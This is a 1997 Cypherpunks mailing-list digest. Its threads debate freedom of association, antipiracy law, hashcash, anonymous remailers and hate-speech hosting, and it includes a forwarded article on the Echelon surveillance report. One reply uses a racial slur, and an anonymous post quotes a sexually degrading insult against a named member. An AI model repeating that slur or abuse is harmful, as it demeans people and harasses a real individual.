>illegally copied articles, files, and CDs found...prosecutors say "three
>strikes" law could put anarchist separatist survalist spy May away for life
>without the possibility of parole."
>
>And now I need to go mount  that Leupold scope on my new Remington 700 .308
>sniper rifle....just the thing to reach out and touch someone.

I hope you didn't make a backup Xerox(tm) of the manual - 
it's part of that $1500 munitions system, and obviously most of the value
is in the intellectual property, not the boring metal....
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From jim.burnes at ssds.com  Fri Dec 19 11:32:30 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 20 Dec 1997 03:32:30 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: 




On Fri, 19 Dec 1997, David Honig wrote:  ...

> If one ever questions this in public, as Tim did, the liberal response
> is to show that unPC 'discrimination' is possible if humans are free,
> and then the dutiful citizen gladly sacrifices employers' liberty for
> their warm and fuzzy feelings.  The first amendment is about what
> government can't do to you, not what your  neighbor can or can't do. 

Yeah.  The real question is what humans are free to do.  The freedom
to do something is also the freedom *not* to do something.  The freedom
to conduct a transaction (employing someone) must also be the freedom
not to conduct that transaction because the transaction is voluntary.

Making laws against people's decision making ability (i don't want to
associate with you because of "xyz") is making laws against people's
thought processes -- essentially mindcrime.  If you're doing something
to someone against their will it doesn't matter how you came to
that decision.  Its force.  Employment descrimination is not force,
it's abcense of force.

No force, no fraud, no crime.

Freedom of association cannot exist without the freedom to not associate.

I make no assumptions about some peoples strange reasons not to 
associate.  I advocate water sharing for everyone.  Hail Eris!

(btw: government cannot descriminate on the basis of sex, race,
religion etc because they have already used force to relieve
citizen units of their hard earned cashed regardless.  but making
moral decisions about what to do after force has been committed
is more about making amends than justice)

jim











From tcmay at got.net  Fri Dec 19 11:38:58 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 03:38:58 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: 



At 11:58 AM -0700 12/19/97, Jim Burnes wrote:
>On Fri, 19 Dec 1997, David Honig wrote:  ...
>
>> If one ever questions this in public, as Tim did, the liberal response
>> is to show that unPC 'discrimination' is possible if humans are free,
>> and then the dutiful citizen gladly sacrifices employers' liberty for
>> their warm and fuzzy feelings.  The first amendment is about what
>> government can't do to you, not what your  neighbor can or can't do.
>
>Yeah.  The real question is what humans are free to do.  The freedom
>to do something is also the freedom *not* to do something.  The freedom
>to conduct a transaction (employing someone) must also be the freedom
>not to conduct that transaction because the transaction is voluntary.

Indeed, this is why I was very careful to include the magic phrase, "in a
free society." I rarely try to explain what's legal in the United States
today, as the U.S. has not been a free society in a long, long time.
(Arguably never, but I'm not quibbling about pure liberty, I mean that the
changes in the past 30-60 years have moved the U.S. very far from being a
free society.)

>Freedom of association cannot exist without the freedom to not associate.
>

Exactly. The confusing web of laws governing whom one can hire, whom one
_must_  hire, whom one may not fire without facing a civil lawsuit, etc.,
shows that freedom of association is dead in America. When a Christian
church is told that not hiring a Satanist will be a violation of Title VII
of the Civil Rights Act, we know we've plunged through the looking glass.

When a health food store faces a crippling lawsuit under Title VII because
it denied a job to a "person of poundage," the Mad Hatter is running the
show.

Megadittos for rules requiring access to cripples (*), rules requiring
non-smoking areas, rules requiring ethnic diversity in the workplace, and
on and on.

(* The cripples example is amusing, and sickening. A strip joint in LA,
which the City Fathers didn't want sullying their urban paradise, was
inspected for compliance with all of the thousands of laws. The inspectors
discovered that the "shower stage" in the center of the main room lacked
"wheelchair access." Under the Americans with Disabilities Act, the club
had to close until an evevator or ramp could be installed (presumably so
sickos could watch paraplegic strippers or flipper babes disrobing? Gimme a
break.).)

California is starting to unwind some of these unconstitutional (in the
"original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
some day we'll see freedom of association returned.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From balden at mail.bc.rogers.wave.ca  Fri Dec 19 11:41:02 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Sat, 20 Dec 1997 03:41:02 +0800
Subject: Freedom Forum report on the State of the First Amendment
Message-ID: <01bd0cb3$3b343b40$69737018@eudoxus.bc.rogers.wave.ca>





>The first amendment is about what government can't do to you, not what your
>neighbor can or can't do.
>
>
And whether the constitution so narrowly construed limits the action of
local councils. It would be extremely convenient if each fo the 50 states
adopted by custom each of the federal amendements mutatis mutandis.


However, freedom of expression in the US and elsewhere is mostly a limited,
but useful fiction.

While many have doubts about where strict freedom of speach should exist,
evidence is that is exists so long as the EFFECT of abberrent speech isn't
too disruptive to the established economic order.  So, for instance, using
the first amendment to tolerate pornographic works and such is against the
putative moral code of most Americans ca. 1950, but tolerating it didn't
really threaten any of the power elite.

Similarly, when the Civil Rights Act gave aggressive enforcement powers for
rights already guaranteed by the consitution, this meant that the power
elite was finally moved to act by massive pressure. Although social
conditioning may have taught southern white businessmen to look down on
negros, they knew that the negro economic power even at the time was very
significant.

America (and Canada, where this is been written from) are physically large
enough to have physically separated and opposed elite from different regions
who duke it out in Congress/Parliament.

So if you want the right to use strong encryption, or don't want CDA II to
ruin your life, appealing to the Constitution is not what I recommend.  If
people dislike porn enough, they'll **amend the constitution** if that's
what it takes.

>
>
>
>
>
>
>------------------------------------------------------------
>      David Honig                   Orbit Technology
>     honig at otc.net                  Intaanetto Jigyoubu
>
> M-16 : Don Quixote :: PGP : Louis Freeh
>         Let freedom ring (or screech at 28.8)
>
>
>
>
>
>
>
>
>
>
>
>






From tcmay at got.net  Fri Dec 19 12:01:08 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 04:01:08 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <01bd0cb3$3b343b40$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: 



At 12:20 PM -0700 12/19/97, Bruce Balden wrote:
>>The first amendment is about what government can't do to you, not what your
>>neighbor can or can't do.
>>
>>
>And whether the constitution so narrowly construed limits the action of
>local councils. It would be extremely convenient if each fo the 50 states
>adopted by custom each of the federal amendements mutatis mutandis.

This is an interesting debate. But for those who claim, as we often see,
that the Constitution talks about what _Congress_ may do, and not about
what Virginia may do, or what Skokie may do, or what the Albemarle Country
Board of Supervisors may do, this is simply not true.

For example, "Maybe Congress shall make no law about speech, but Vermont
can tell you to shut up if they want to. And Idaho can force you to speak
in German. And the City of Baltimore can ban the Koran if they want to."

Nope.

I know of several ways of looking at this issue:

* States admitted to the Union have historically had to accept the U.S.
Constitution. In many cases, their own constitutions are nearly identical
to the U.S.C., or even predated the U.S.C. This binds the states to enforce
the Constitution and apply it to their own states.

* As a "guiding document," the spirit of the U.S.C. is what guides even
local laws. So even if the specific language only talks about Congress, the
intent is taken to me any and all government actions, Executive, Judicial,
state, local, etc.

* Some say that the 14th Amendment clarified the issue of whether the
States could have laws which were at odds with the Constitution. (Ownership
of slaves being the relevant case then.)

There's much scholarship on this issue, of course. I don't claim to follow
it all closely, but I'm highly dubious of the simplistic claims that
"Congress shall make no law" only applies to the U.S. Congress.

(With speech, my view is the common one, even for lawyers. Why the Second
Amendment is not treated the same way is a mystery to me. And Justice
Clarence Thomas has hinted that a Supreme Court review of a relevant Second
Amendment case may well result in exactly this ruling, that states and
localities may not infringe on basic Second Amendment rights.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From craffert at ml.com  Fri Dec 19 12:02:10 1997
From: craffert at ml.com (Colin Rafferty)
Date: Sat, 20 Dec 1997 04:02:10 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: 



Tim May writes:

> California is starting to unwind some of these unconstitutional (in the
> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
> some day we'll see freedom of association returned.

That will be great, because then I won't have to share a lunch counter
with those Niggers anymore.

-- 
Colin






From tcmay at got.net  Fri Dec 19 12:20:18 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 04:20:18 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: 



At 11:18 AM -0700 12/19/97, stewarts at ix.netcom.com wrote:
>At 01:47 PM 12/18/1997 -0700, Tim May wrote:

>>One of the key provisions was that home taping, or archival taping, or
>>taping for any _noncommercial_ use was now fully legal, with not even the
>>hint of illegality.
>
>But new laws generally override old laws.  After all, the old Copyright law
>excepted "fair use" copies from its coverage.  The mere fact that they're
>still taxing blank tape doesn't mean they can't re-criminalize copying.

And the blank tape I stocked up on, and paid taxes on?

And of course enforceability with these kinds of laws is unarguably almost
nonexistent. As someone said, this is a "cherry on the sundae" sort of law,
designed to pile on extra charges.

I would guess that 80% or more of all households will be in technical
violation of this law within a matter of months of its offical start.
Anyone with a home computer will likely make more than the number of
allowed backups, or will commingle several titles on the same ZIP drive, or
will (horrors!) share the use of a program between husband, wife, and
children. Or even (send in the SWAT ninjas) share with the neighbors.

And it's unclear (to me, at least) what this does to home taping of t.v.
shows and movies, which seemed pretty well-solved by the Disney-Sony
"Betamax" case.

The law will be used against folks like Jim Bell to pile on charges.

Lock and load,

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From tcmay at got.net  Fri Dec 19 12:31:16 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 04:31:16 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: 



At 12:38 PM -0700 12/19/97, Colin Rafferty wrote:
>Tim May writes:
>
>> California is starting to unwind some of these unconstitutional (in the
>> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
>> some day we'll see freedom of association returned.
>
>That will be great, because then I won't have to share a lunch counter
>with those Niggers anymore.

Regardless of what thinks about that sentiment, that is indeed a
consequence of freedom in general and freedom of assocation in particular.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From whgiii at invweb.net  Fri Dec 19 12:39:27 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sat, 20 Dec 1997 04:39:27 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <199712192028.PAA03374@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/19/97 
   at 02:15 PM, Tim May  said:

>The law will be used against folks like Jim Bell to pile on charges.

Yep, in effect it has made *everyone* a felon subject to a lenghty prison
sentence at the whim of the Lea's.

It also make it much easier for the Lea's to manufacture "evidence"
against anyone. After they confiscate your compute equipment they just
make a few floppies and volia!! Instant felon!! At least under old laws
they had to prove that you were trying to turn a profit off of copies
which is a much harder thing to do.

I for one would not wish to be in the position to convince a jury that *I*
did not create those floppies.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJrY1o9Co1n+aLhhAQKzdgQAqXwy7PqkhGQVisPIUGi0zbdXnFIONJgN
iY0Gcg4Tc7b2HKW5H2hDHI8myIKHlbp+vwSVp2XPtWul5vT4qCtrLSI+MSkqICWe
y9JuJbvwVxu6c41TVUqOuzmDTckre1+WkMpaADnQy2QxpS6buoa2S9YxEsriPEcc
8s+BLvVgNvk=
=7Nyo
-----END PGP SIGNATURE-----






From stewarts at ix.netcom.com  Fri Dec 19 12:50:05 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Sat, 20 Dec 1997 04:50:05 +0800
Subject: Lions and Tigers and Micromoney, Oh, My...
In-Reply-To: <199712182121.QAA04394@users.invweb.net>
Message-ID: <3.0.3.32.19971219123619.0070897c@popd.ix.netcom.com>



At 4:21 pm -0500 on 12/18/97, William H. Geiger III wrote, 
though not in this order,

>> I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
>> how many bits I send, and who I send them to is NO ONE's BUSINESS but my
>> own!!! -- Last Anarchist of the Inet.

You've paid for your end of the connection, but you haven't paid for mine,
and you especially haven't paid for getting your bits to my eyeballs.
Neither has Spamford.  I'm usually willing to read your words, but not his.
Hashcash-mail is a tool for users to use to automate limiting the email 
they receive to mail sent out by real individuals who actually want to 
communicate with them, throwing away mail from spammers.

Whether it will catch on or not is a social issue.  There are telephone
answering devices that prompt for a password and either hang up on callers
who don't have one, forward them to the answering machine, or just
give them a low-priority ring.  I don't use one, and nobody I know
currently does, because they annoy the callers you care about
more than they annoy telephone spammers, who have lists of thousands of
other people to spam if you're not interested.  On the other ham,
if PacBell offered distinctive ringing like most Bell companies do,
I'd use it - not for splitting types of callers, but for my fax machine...

>> Note: In Adams proposal for hashcash only charges the user CPU cycles. The
>> incentive for wide implementation of hashcash is going to be a real ecash
>> based system where the implementors can make $$$ off it.

It would be interesting to find useful problems that could be used 
instead of hash collisions.  Factoring numbers can be distributed well,
and it's possible to tell quickly that X is a factor of Y, but unfortunately
it's not possible to tell quickly that the user unsuccessfully checked some
range of potential factors rather than just pretending to have done so.
Similarly, if the user finds the key K | C=DES(M,K), you can tell quickly,
but you can't tell if the user checked a range K1..Kn except by
checking it yourself (slowly.)  But maybe there's some useful variant that
can be checked quickly.

>> Well IMNSHO hashcash mail sucks!! It opens up the pandora's box of usage
>> based charges for everything done on the 'net. What will be next? FTP
>> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
>> servers charging per lookup? Routers charging per packet?

Digicash, maybe, though not hashcash, since hashcash is just a timewaster
that's easy to verify and only takes a long time for high-volume users.
As far as routers charging per packet goes, we've had X.25 networks which
charge by the kilopacket for a long time; it's much clumsier and more
expensive
to operate than a flat-rate network.  One of the reasons the Internet has 
overtaken X.25 so dramatically is that flat-rate pricing encourages people to
use and provide free services, increasing the base of customers and the
size of the flat-rate service they buy -- the ISPs also win.

And many web pages _do_ charge for reading them - usually the charge is
the time it takes to download and (read or) discard an advertising banner;
users are generally much more willing to pay that cost than cash,
though there are some services that give you abstracts of articles for free
and charge you money for the full version (either charging per item or 
charging per month for "premium" service.)

DNS charges are paid for by the domain name holder who wants to be found.
TLDs and SLDs are funded by the domain name registration fees in some places,
and unfortunately by Your Tax Dollars in other places, or by DNS fees
laundered by the government through their subcontractors.
Lower-level domain name service is paid for by the SLD holder or agents.
If you don't want to pay to publish your DNS name on the servers,
you can always call yourself http://192.257.23.42/ or whatever,
as many spam sellers do.


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From aryan at nym.alias.net  Fri Dec 19 12:57:59 1997
From: aryan at nym.alias.net (Aryan)
Date: Sat, 20 Dec 1997 04:57:59 +0800
Subject: Hate speech in America
Message-ID: <199712192047.VAA07239@basement.replay.com>




I am a German patriot who wants to
publish my ideas without of fear of the German goverment.
But my concern is
that the U. S. ISP I use can hand over my subscriber infoation and logs to the
German goverment.
Does anyone know a U. S. ISP who does not censor hate speech
and who has a _known_ strong privacy policy?
By the way, is hate speech
protected in United States?






From anon at anon.efga.org  Fri Dec 19 13:26:25 1997
From: anon at anon.efga.org (Anonymous)
Date: Sat, 20 Dec 1997 05:26:25 +0800
Subject: None
Message-ID: 



I think Vulis needs each of us to send a hundred copies of something more
creative back to him.

>Timmy C. May will fuck anything that moves,
>but he'd rather be fucking his own mother's
>dead body.
>
>     /'''
>     c-OO Timmy C. May
>        \
>       -







From pooh at efga.org  Fri Dec 19 13:49:17 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sat, 20 Dec 1997 05:49:17 +0800
Subject: Hate speech in America
In-Reply-To: <199712192047.VAA07239@basement.replay.com>
Message-ID: <3.0.3.32.19971219164211.033759e0@mail.atl.bellsouth.net>



At 09:47 PM 12/19/97 +0100, Aryan wrote:
>I am a German patriot who wants to
>publish my ideas without of fear of the German goverment.
>But my concern is
>that the U. S. ISP I use can hand over my subscriber infoation and logs to
the
>German goverment.
>Does anyone know a U. S. ISP who does not censor hate speech
>and who has a _known_ strong privacy policy?
>By the way, is hate speech
>protected in United States?

Hate speech is constitutionally protected in the US.  That doesn't mean you
can do it from any particular ISP or in someone's living room.  You seem to
have found protected email, you should therefore know who to post to
usenet.  There are dozens of places you can get free web sites from, though
I don't know about their hate speech policies.

I'd be curious to know of Geocities, Tripod, et all - where they have
kicked people off or not for hate speech.




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From comsec at nym.alias.net  Fri Dec 19 14:13:41 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Sat, 20 Dec 1997 06:13:41 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971219220004.7565.qmail@nym.alias.net>



-----BEGIN PGP SIGNED MESSAGE-----

politas at dynamite.com.au (Politas) wrote:

> >Why should the operator of the delivery medium be held responsible for the
> >contents of a message?
>    
> Not the contents as such, but the ability to continue unacceptable
> behaviour. eg, if someone is mailbombing me from a hotmail account, I expect
> Hotmail to shut down that account, or at least prevent them from sending to
> me.  But I'd prefer if they handed over some kind of tracing information to
> the police.

And if someone makes what you consider an annoying telephone call from a
public telephone, should the phone company remove the telephone?  Sure, they
may be able to trace the telephone used, but not who used it.
          
> >                        Perhaps the laws are different "down under", but here
> >in the USA anyone can deposit coins in a public telephone and make a phone
> >call without identifying himself.  The person can't be identified, and
> >neither can you hold the telephone company responsible for any damages you
> >claim resulted from the call.
>           
> Yes, but the anonymous person in this case is paying all costs for the call.

Just as the anonymous person is paying for his own access to the internet.
The anonymous caller to your telephone is not paying your monthly telephone 
bill, though, so he's not "paying all costs for the call".  So the two 
situations are fairly analogous -- both the sender and the receiver of the
message pay a portion of the costs.
          
> Also, the call can be traced in real time, and a sufficiently organised
> system would allow the caller to be found.  You have a physical location and
> an exact time, enough to catch a person.

If the person is foolish enough to stay on the line long enough to be caught,
that is.  I really doubt that most localities have a police force with enough
time on their hands to go chasing after a person who annoys you with a 
phone call, though.  Anything "sufficiently organized" to accomplish what
you're suggesting would be indistinguishable from a police state.  While it
might annoy you if someone were to call you at 2 AM from a pay phone, yell
"You're an asshole", and hang up, how much money, time, and effort do you 
really expect the police to spend trying to find the culprit?

As a practical matter, they'd probably suggest that you change your phone
number or put a device on your telephone where callers you wished to talk to
at 2 AM were required to enter in a code you'd given them before your phone
would ring.

> >It's the same with the US Postal Service.  You can mail a letter from a public
> >mail box and as long as the proper postage is attached, it will be delivered
> >even if it doesn't have a return address, or if it contains a false return
> >address.  But if someone mails you a letter bomb, you can't sue the US
> >Postal Service.
> 
> No, but at the very least you do at least know which post office the letter
> first came through.  It's somewhere to start a search from.  

In the case of an anonymous e-mail, the "post office" is the remailer site.
Like a snail mail letter, you don't know what path the sender travelled to
get to the post office, though.

> You'd be amazed
> how often people who send "anonymous" letter bombs get caught.

Yes, for both the e-mail and snail mail variety.  It's much easier to send
an e-mail bomb from a throwaway ISP account than from a remailer, anyway.
Most remailers have fairly small size restrictions, for one thing, and if you
start sending too many individual e-mails through a remailer, the software
WILL take note of that fact and flag that fact for the operator.

In many ways, sending a "mail bomb" "anonymously" is an oxymoron.  The whole
point to avoiding being traced is to make your message virtually 
indistinguishable from the rest of the anonymous messages until it reaches
its destination.  Sending a huge message or a huge number of smaller messages
sticks out like a sort thumb and calls attention to the sender.  The last
thing the perpetrator of such a scheme would want to do is go through
automated software, such as a remailer uses, that looks for and flags
unusual behavious like that.  It would actually me much safer to use a
throwaway e-mail account, acquired under a phony name, to accomplish that.

> >So why institute draconian rules to restrict e-mail which are stricter than 
> >those for other communications media? 
> 
> Because I'd like it to be so.  I'm not really calling for anything greater
> than we currently have with the phone system.  

Then you already have that.  If you don't want calls from a certain caller,
you can arrange to have them blocked.  If you don't want "anonymous" calls,
you can have incoming calls without caller ID information blocked, just as
you can request that the remailers not send you any anonymous e-mail.

(None of this really has anything to do with anonymous PUBLIC posts.)

> I realise that it's pobably
> not a completely popular opinion, but it happens to be mine.  I cannot see
> any valid purpose for completely anonymous communication, other than to
> break laws.

"Presumed innocent until proven guilty" is still in force here.  I might well
say that I can see no purpose for owning a printing press other than to print
"subversive" material, yet I still retain that right here in the USA until
you can prove that I've used it for illegal purposes.  If you can prove that,
then you can get a court injunction against me.  But you can't take away that
right based on what you think I *MIGHT* do.

Of course, sometimes "breaking laws" IS the reason for anonymity.  If the
government were to outlaw the dissemination of certain politically incorrect
ideas, then the only way to safely do so might be anonymously.

If you feel that strongly about anonymous e-mail, then simply ask the
remailer operators to have your address blocked from receiving any.  Your
(potential) problem is then solved.

> >I'll reiterate my opinion that such restrictive rules would cripple the
> >usefulness of many currently-available services.  I seriously doubt that
> >Hotmail would take on the expense of identifying each of its account holders
> >as well as assuming liability for any that it misidentified, in order to  
> >provide a FREE service.
>    
> Oh come now, you make it sound like Hotmail are doing it all out of the
> goodness of their hearts.  They *are* making money, you know.

I'm sure they are, but the extra costs of positively IDing users would have
to be paid somehow.
   
> >                        In fact, it would impact most ISPs.  As long as you
> >pay your monthly access fees on time, most ISPs take you at your word that
> >the name and address you supplied on your application are correct.
>           
> And as long as you don't breach your contract with them in any other way, 
> they should be able to.  On the other hand, if the police turn up to an ISP
> trying to find someone, they can get the phone calls traced to catch the
> person when they log in.

Of course they can.  Ultimately, each person is responsible for maintaining
his own privacy.  There's always a risk.  Those who anonymously (and illegally)
used fax machines to send uncensored news out of China during the Tianamen
Square uprising were obviously taking such a risk.  Does it bother you that
the technology did not exist to identify and prosecute those who did so?

> >I would suggest that the recipient of a piece of e-mail should bear the
> >responsibility for authenticating its sender before sending someone money, 
> >or taking other action that could potentially incur a financial loss.
> 
> Well, of course.  On the other hand, recieving unwanted email itself
> involves financial loss.

Perhaps, but there are more suitable remedies for that than banning anonymous
e-mail.

> >Transferring that duty to the ISP makes no sense.  For one thing, who would
> >you hold responsible?  Your own ISP?  The one listed in the return address?
> >Even if it's forged?  What if the ISP is located in another jurisdiction?
> 
> The person I want to be able to hold responsible is the person who sent the
> message.  If someone in the middle is shielding their identity, then they
> have to take the responsibility to stop repeated offences.  If they cannot
> or refuse to pass the blame on to the originator and can't prevent repeated
> offences, then, and only then, they *may* be able to be held responsible for
> any offences.  I would doubt that it would ever go that far.  After all, can
> you imagine a Telco *refusing* to cooperate with the police to trace a call?

No, but that's a different scenario than the telephone company requiring a
form of positive identification before using a pay phone.  You aren't
assuming that these "repeated offenses" involving pay phones all were made
using the SAME TELEPHONE each time, are you?  Not all harrassing callers
would be that stupid, although some might be.

In the case of anonymous e-mail, you can trace it back to the remailer 
utilized just like you can trace a phone call back to the telephone used.  
But what does thay buy you?  You still don't know WHO made the call or sent 
the e-mail.  Actually in the case of anonymous e-mail you have one additional
safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
telling the telephone company that you want to be blocked from receiving
calls from any pay phone!

> I'm not saying it has to be easy to trace a message to its originator, but
> it should be possible to identify a source.  For repeating communications,
> it should be possible to identify a person.

That's really unnecessary.  There's not really much you can do via e-mail
that's both illegal and anonymous, when you think about it.  I could
kidnap a relative of yours, and use anonymous e-mail to make ransom demands,
but I'd still have to give you a means of getting the money to me.  THAT is
where I'd be traceable.  The same goes for sending you a fraudulent offer.
I can't make any money off of you unless you give you a method for paying
me.

And if something is merely annoying, then prevention makes more sense than 
building in the ability to hunt down the sender.

Like anonymous e-mail itself, any surefire means of identifying the sender of
a message is also prone to abuse.  That's why the "Big Brother Inside"
concept is a cure that's worse than the disease.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJrE4gbp0h8ZvosNAQHHfAf+NbwQcznBpJpORXE223owqI44WEVNL6gR
XH8ir9vor0oYcENGKbyfETIMfKsdbvf9THK9accbUjh5CXu9Qv6vcZ1S1TzogAS9
QbnrRtaYQmEFp7657X2r2Uof8jdgHAe1XL8BjVZfn6yPZYTo3lAxNOWc5qqtHnVM
T1Wrz7ej0n99s6hs8PE+57Y82RrF173Y7Qm2uLJRBHt7ZAFnFaet3N+ZrbgJQCW+
NOBElkLe9qTY8bhHg3zeUx7Ql3mE4quogwLy8W/btuxMles7EnTfoYWozKsifamC
EJks7fpr0z70sPVVfvo/ktmA+UkK9UwWrNqCA/kCHieRpEdC5gRhQQ==
=RSct
-----END PGP SIGNATURE-----






From vznuri at netcom.com  Fri Dec 19 14:18:35 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 20 Dec 1997 06:18:35 +0800
Subject: world spy system
Message-ID: <199712192214.OAA04686@netcom19.netcom.com>




------- Forwarded Message

Date: Fri, 19 Dec 1997 10:47:17
To: believer at telepath.com
From: believer at telepath.com
Subject: IP: NSA Spy Network confirmed by EU

Forwarded from the London Telegraph:
- ----------------------------------------------------------

>Daily Telegraph  Connected Supplement 16th December 1997
>
>A European Commission report warns that the United States has developed an
>extensive spying network on European Citizens and we should all be worried,
>reports Simon Davies.
>
>A global electronic spy network that can eavesdrop on every telephone,email
>and telex communication around the world will be officially acknowledged
>for the first time in a European Commission report to be delivered this
>week.
>
>The report - Assessing the Technologies of Political Control -- was com-
>missioned last year by the Civil Liberties Committee of the European
>Parliament. It contains details of a network of American-controlled spy
>stations on British soil and around the world. that "routinely and
>indiscriminately" monitors countless phone, fax and email messages.
>
>It states: "Within Europe all email telephone and fax communications are
>routinely intercepted bv the United States Natiomnal Security Agency
>transfering all target information from the European nmainland via the
>strategic hub of London then by satellite to Fort Meade in Maryland via
>the crucial hub at Menwith Hill" in Yorkshire.
>
>The report confirms for the first time the existence of a the secretive
>Echelon system.
>
>Until now evidence of such astounding technology has been patchy and
>anecdotal. But the report - to be discussed on Thursday by the committee
>of the office of Science and Technology Assessment in Luxembourg - confirms
>that the citizens of Britain and other European states are subject to an
>intensity of surveillance far in excess of that imagined by most parlia-
>ments. Its findings arc certain to excite the concern of MEPS.
>
>"The Echelon system forms part of the UKUSA system but unlike many of the
>electronic spy sysfems developed during the Cold War, Echelon is designed
>primarily for non- military targets: governments, organizations  and
>businesses in virtually every country.
>
>"The Echelon system works by indiscriminately intercepting very large
>quantities of communications and then siphoning out what is valuable using
>artificial intelligence aids like MEMEX to find key words".
>
>According to the report, Echelon uses a number of national dictionaries
>containing key words of interest to each country.
>
>For more than a decade, former agents of US, British. Canadian and New
>Zealand national security agencies have claimed that the monitoring of
>electronic communications has become endemic throughout the world. Rumours
>have circulated that new technologies have been developed which have the
>capability to search most of the world's telex, fax and enaail networks
>for "keywords". Phone calls. they claim. can be automatically analysed for
>key words.
>
>Former signals intelligence operatives have claimed that spy bases control
>led by America have the ability to search nearly all data communications
>for kev words. They claim that Echelon automatically analyses most email
>messaging for "precursor". data which assists intelligence agencies to
>determine targets. According to former Canadian Security Establishment
>agent Mike Frost. a voice recognition system called Oratory has been used
>for some years to intercept diplomatic calls.
>
>The driving force behind the report is Glyn Ford. Labour MEP for Greater
>Manchester East. He believes the report is crucial to the future of civil
>liberties in Europe.
>
>"In the civil liberties committee we spend a great deal of time debating
>issues such as free movement, immigration and drugs. Technology always
>sits at the centre of these discussions.
>
>"There are times in history when technology helps democratise, and times
>when it helps centralise. This is a time of centralisation. The justice
>and home affairs pillar of Europe has become more powerful without a
>corresponding strengthening of civil liberties."
>
>The report recommnends a variety of measure for dealing with the increas-
>ing power of the the technologies of surveilance being used at Menwith
>Hill and other centres. It bluntlyy advises: "The European Parliament
>should reject proposals from the United States for making private messages
>via the global communications network Internet) accessible to US intelli-
>gence agencies.
>
>The report also urges a fundamental review of the involvement of the
>American NSA (National Security Agency in Europe, suggestng that the
>activities be either scaled down, or become more open and accountable.
>
>Such concerns have been privately expressed by governments and MEPS since
>the Cold War, but surveillance has continued to expand. US intelligence
>activity in Britain has enjoyed a steady growth throughout the past two
>decades. The principal motivation for this rush of development is the US
